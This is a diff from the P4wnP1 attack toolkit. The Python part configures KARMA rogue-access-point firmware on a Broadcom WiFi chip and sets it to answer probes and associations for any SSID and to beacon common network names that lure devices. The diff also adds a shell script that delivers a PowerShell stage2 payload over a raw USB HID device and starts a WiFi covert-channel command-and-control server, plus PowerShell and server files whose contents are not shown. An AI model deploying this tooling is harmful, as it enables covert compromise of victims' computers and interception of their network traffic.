mame82_config.ssids_karma = MaMe82_IO.dump_ssid_list(cast(mame82_config.ssids_karma, c_void_p).value)
|
||||
mame82_config.ssids_custom = MaMe82_IO.dump_ssid_list(cast(mame82_config.ssids_custom, c_void_p).value)
|
||||
else:
|
||||
mame82_config.ssids_karma = None
|
||||
mame82_config.ssids_custom = None
|
||||
|
||||
|
||||
if print_res:
|
||||
print "KARMA PROBES - Answer probe requests for foreign SSIDs [{0}]".format("On" if mame82_config.karma_probes else "Off")
|
||||
print "KARMA ASSOCS - Answer association requests for foreign SSIDs [{0}]".format("On" if mame82_config.karma_assocs else "Off")
|
||||
print "KARMA SSIDs - Broadcast beacons for foreigin SSIDs after probe request [{0}]".format("On" if mame82_config.karma_beacons else "Off")
|
||||
print "CUSTOM SSIDs - Broadcast beacons for custom SSIDs (added by user) [{0}]".format("On" if mame82_config.custom_beacons else "Off")
|
||||
print "(unused for now) Print debug messages to BCM43430a1 internal console [{0}]".format("On" if mame82_config.debug_out else "Off")
|
||||
|
||||
print "\nStop sending more beacons for KARMA SSIDs if no association request is received\nafter [{0}] beacons (0 send forever)".format(mame82_config.karma_beacon_autoremove)
|
||||
print "\nStop sending more beacons for CUSTOM SSIDs if no association request is received\nafter [{0}] beacons (0 send forever)".format(mame82_config.custom_beacon_autoremove)
|
||||
|
||||
print "\nMaximum allowed KARMA SSIDs for beaconing (no influence on assocs / probes): [{0}]".format(mame82_config.max_karma_beacon_ssids)
|
||||
print "Maximum allowed CUSTOM SSIDs: [{0}]".format(mame82_config.max_custom_beacon_ssids)
|
||||
|
||||
print ""
|
||||
|
||||
if cast(mame82_config.ssids_karma, c_void_p).value != None:
|
||||
print "Beaconed SSIDs from probes (KARMA SSIDs), right now:\n{0}".format(MaMe82_IO.ssid_list2str(mame82_config.ssids_karma))
|
||||
|
||||
print ""
|
||||
|
||||
if cast(mame82_config.ssids_karma, c_void_p).value != None:
|
||||
print "Beaconed SSIDs defined by user, right now:\n{0}".format(MaMe82_IO.ssid_list2str(mame82_config.ssids_custom))
|
||||
|
||||
# fetch structs for SSID list
|
||||
return mame82_config
|
||||
|
||||
@staticmethod
|
||||
def ssid_list2str(head):
|
||||
ssids = []
|
||||
cur = head.contents
|
||||
while cast(cur.next, c_void_p).value != None:
|
||||
cur = cur.next.contents
|
||||
str_ssid = "".join(chr(c) for c in cur.ssid[0:cur.len_ssid])
|
||||
ssids.append(str_ssid)
|
||||
return ssids
|
||||
|
||||
@staticmethod
|
||||
def dump_mem(dump_addr, dump_len, print_res=True):
|
||||
# valid 0x80 - 0x07ffff
|
||||
# valid 0x800000 - 0x89ffff
|
||||
if dump_len < 16:
|
||||
printf("Minimum length for dumping is 16 bytes")
|
||||
return ""
|
||||
ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III{0}s".format(dump_len - 16), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_GET_MEM, 4, dump_addr, ""), False)
|
||||
res = nexconf.sendNL_IOCTL(ioctl)
|
||||
if print_res:
|
||||
print MaMe82_IO.s2hex(res)
|
||||
return res
|
||||
|
||||
@classmethod
|
||||
def dump_ssid_list_entry(cls, address):
|
||||
headdata = cls.dump_mem(address, sizeof(struct_ssid_list), print_res=False)
|
||||
head = struct_ssid_list()
|
||||
memmove(addressof(head), headdata, len(headdata))
|
||||
return head
|
||||
|
||||
@classmethod
|
||||
def dump_ssid_list(cls, address):
|
||||
cur = cls.dump_ssid_list_entry(address)
|
||||
head = cur
|
||||
p_next = cast(cur.next, c_void_p)
|
||||
while p_next.value != None:
|
||||
#print "p_next {0}".format(hex(p_next.value))
|
||||
next_entry = cls.dump_ssid_list_entry(p_next.value)
|
||||
cur.next = pointer(next_entry) # replace pointer to next element with a one valid in py
|
||||
cur = cur.next.contents # advance cur to next element (dreferenced)
|
||||
p_next = cast(cur.next, c_void_p) # update pointer to next and cast to void*
|
||||
|
||||
# return pointer to head element
|
||||
return pointer(head)
|
||||
|
||||
@classmethod
|
||||
def set_defaults(cls):
|
||||
cls.add_custom_ssid("linksys")
|
||||
cls.add_custom_ssid("NETGEAR")
|
||||
cls.add_custom_ssid("dlink")
|
||||
cls.add_custom_ssid("AndroidAP")
|
||||
cls.add_custom_ssid("default")
|
||||
cls.add_custom_ssid("cablewifi")
|
||||
cls.add_custom_ssid("asus")
|
||||
cls.add_custom_ssid("Guest")
|
||||
cls.add_custom_ssid("Telekom")
|
||||
cls.add_custom_ssid("xerox")
|
||||
cls.add_custom_ssid("tmobile")
|
||||
cls.add_custom_ssid("Telekom_FON")
|
||||
cls.add_custom_ssid("freifunk")
|
||||
|
||||
cls.set_enable_karma(True) # send probe responses and association responses for foreign SSIDs
|
||||
|
||||
cls.set_enable_karma_beaconing(False) # send beacons for SSIDs seen in probe requests (we better don't enable this by default)
|
||||
cls.set_autoremove_karma_ssids(600) # remove SSIDs from karma beaconing, which didn't received an assoc request after 600 beacons (1 minute)
|
||||
|
||||
cls.set_enable_custom_beaconing(True) # send beacons for the custom SSIDs set with 'add_custom_ssid'
|
||||
cls.set_autoremove_custom_ssids(0) # never remove custom SSIDs from beaconing list, if they didn't receive an assoc request
|
||||
|
||||
#cls.dump_conf(print_res=True)
|
||||
|
||||
|
||||
def ioctl_get_test():
|
||||
### Send ioctl comand via netlink: test of GET (cmd 262, value 'bsscfg:ssid' in a buffer large enough to receive the response) ######
|
||||
|
||||
# test to read a IO var for bsscfg:ssid (resp buffer: 4 bytes for uint32 ssid_len, 32 bytes for max len SSID)
|
||||
# Note:
|
||||
# The payload buffer size for send and recv are te same (36 in this test case), although the payload sent
|
||||
# has only 11 bytes ("bsscfg:ssid") which are used. This has no impact for parsing the request for SSID on
|
||||
# driver/firmware end. This means: We are free to choose the response buffer size, by adjusting the request buffer size.
|
||||
# In case of the SSID request, the buffer is only partially overwritten with the response (for SSID 'test' only the first 8 bytes).
|
||||
# The rest of the buffer isn't cleared to 0x00, but the response is prepended with an uint32 length field, which could be used
|
||||
# to scrape out the relevant part of the response string.
|
||||
# As I haven't dived into the inner workings of NETLINK, I haven't tested for responses which don't fit in a single message,
|
||||
# but it is likely that those responses are fragmented over multiple NL messages and the nlmsg_seq header field is used to
|
||||
# distinguish them. Anyway, this code DOESN'T ACCOUNT FOR THIS AND DOESN'T RECEIVE FRAGMENTED RESPONSES. NOR DOES THIS CODE ACCOUNT
|
||||
# FOR MAXIMUM MESSAGE SIZE WHEN IT COMES TO SENDING (USING BUFFER WHICH ARE TOO LARGE).
|
||||
# So this is considered experimental, the correct tool to use is nexutil written by the creators of nexmon ;-)
|
||||
|
||||
ioctl_readvar_ssid = nexconf.create_cmd_ioctl(262, struct.pack("36s", "bsscfg:ssid"), False)
|
||||
res = nexconf.sendNL_IOCTL(ioctl_readvar_ssid)
|
||||
|
||||
# clamp result string
|
||||
res_len = struct.unpack("I", res[:4])[0]
|
||||
res_str = res[4:4+res_len]
|
||||
print res_str
|
||||
|
||||
|
||||
|
||||
# As soon as an AP is running with hostapd (and backed by the customized nexmon firmware)
|
||||
# the IOCTL to set up karma could be received.
|
||||
#
|
||||
# The hardcoded example commands below bring up a KARMA hotspot (responds to every probe/association
|
||||
# request which the STA wants to see), with 13 additional SSIDs and BEACONING enabled for probed SSIDs
|
||||
# Additionally the autoremove feature is enabled, for SSIDs not receiving an assoc request in timely
|
||||
# manner.
|
||||
#
|
||||
# Each of this commands could be use to interactively manipulate the firmware from a python console.
|
||||
#
|
||||
# Example to disable KARMA:
|
||||
# --------------------------------
|
||||
# >>> from mame82_util import *
|
||||
# >>> MaMe82_IO.set_enable_karma(False)
|
||||
# Sending NL IOCTL
|
||||
# cmd: 666
|
||||
# set_enabled: True
|
||||
# payload: '\x03\x00\x00\x00\x01\x00\x00\x00\x00'
|
||||
#
|
||||
#
|
||||
# Example to enable KARMA + Beaconing for SSIDs from probe requests:
|
||||
# ------------------------------------------------------------------
|
||||
# >>> from mame82_util import *
|
||||
# >>> MaMe82_IO.set_enable_karma(True)
|
||||
# Sending NL IOCTL
|
||||
# cmd: 666
|
||||
# set_enabled: True
|
||||
# payload: '\x03\x00\x00\x00\x01\x00\x00\x00\x01'
|
||||
# >>> MaMe82_IO.set_enable_karma_beaconing(True)
|
||||
# Sending NL IOCTL
|
||||
# cmd: 666
|
||||
# set_enabled: True
|
||||
# payload: '\x04\x00\x00\x00\x01\x00\x00\x00\x01'
|
||||
#
|
||||
#
|
||||
|
||||
|
||||
### Example configuration for MaMe82 KARMA nexmon firmware mod ###
|
||||
#MaMe82_IO.set_defaults()
|
BIN
dist/legacy/mame82_util.pyc
vendored
Normal file
BIN
dist/legacy/mame82_util.pyc
vendored
Normal file
Binary file not shown.
1
dist/legacy/test.ps1
vendored
Normal file
1
dist/legacy/test.ps1
vendored
Normal file
@ -0,0 +1 @@
|
||||
calc.exe
|
4
dist/legacy/wifi_agent.ps1
vendored
Normal file
4
dist/legacy/wifi_agent.ps1
vendored
Normal file
File diff suppressed because one or more lines are too long
1211
dist/legacy/wifi_server.py
vendored
Executable file
1211
dist/legacy/wifi_server.py
vendored
Executable file
File diff suppressed because it is too large
Load Diff
30
dist/scripts/wifi_covert_channel.sh
vendored
Normal file
30
dist/scripts/wifi_covert_channel.sh
vendored
Normal file
@ -0,0 +1,30 @@
|
||||
#!/bin/bash
|
||||
|
||||
# use CLI client to determine raw HID device
|
||||
hidraw=$(P4wnP1_cli usb get device raw)
|
||||
|
||||
# exit if HID raw device isn't up
|
||||
if [ "$hidraw" = "" ]; then
|
||||
echo "no raw HID device found, aborting";
|
||||
exit
|
||||
fi
|
||||
|
||||
echo "Kill old hidstager processes ..."
|
||||
ps -aux | grep hidstager.py | grep -v grep | awk {'system("kill "$2)'}
|
||||
|
||||
echo "Starting HID stager for WiFi covert channel payload"
|
||||
|
||||
# start HID covert channel stager (delivers PowerShell stage2 via raw HID device)
|
||||
# the '-s' parameter terminates the stager after every successfull stage2 delivery
|
||||
/usr/local/P4wnP1/legacy/hidstager.py -s -i /usr/local/P4wnP1/legacy/wifi_agent.ps1 -o $hidraw &
|
||||
|
||||
if ! ps -aux | grep wifi_server | grep -q -v grep; then
|
||||
echo "Start WiFi covert channel server and attach to screen session..."
|
||||
# start WiFi covert channel server
|
||||
screen -dmS wifi_c2 bash -c "/usr/local/P4wnP1/legacy/wifi_server.py"
|
||||
else
|
||||
echo "HID covert channel server already running"
|
||||
fi
|
||||
|
||||
|
||||
P4wnP1_cli led -b 3
|
Loading…
x
Reference in New Issue
Block a user